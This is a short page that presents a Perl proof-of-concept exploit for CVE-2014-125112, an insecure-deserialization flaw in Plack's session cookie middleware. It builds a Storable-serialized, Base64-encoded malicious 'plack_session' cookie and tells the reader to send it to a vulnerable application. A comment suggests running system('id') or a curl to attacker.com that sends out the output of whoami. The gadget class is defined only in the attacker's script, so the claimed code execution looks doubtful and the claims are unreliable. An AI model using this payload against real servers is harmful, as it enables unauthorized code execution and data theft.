CVE-2014-125112 Plack中间件远程代码执行漏洞

#!/usr/bin/perl use strict; use warnings; use Storable qw(freeze); use MIME::Base64; # PoC for CVE-2014-125112 # This script demonstrates how to create a malicious cookie # exploiting insecure deserialization in Plack::Middleware::Session::Cookie. # Define a class that executes code upon destruction (common gadget pattern) package Exploit::Payload; sub new { bless {}, shift } sub DESTROY { # In a real scenario, this would execute a shell command # system('id'); or `curl http://attacker.com/$(whoami)`; print "[+] Arbitrary code executed via deserialization!\n"; } package main; # Create the malicious object my $malicious_object = Exploit::Payload->new(); # Serialize the object using Storable my $serialized_data = freeze($malicious_object); # Encode it to Base64 (common format for cookies) my $cookie_payload = encode_base64($serialized_data, ''); print "Generated Malicious Cookie Payload:\n"; print "plack_session=$cookie_payload\n"; print "\nSend this cookie to the vulnerable application to trigger RCE.\n";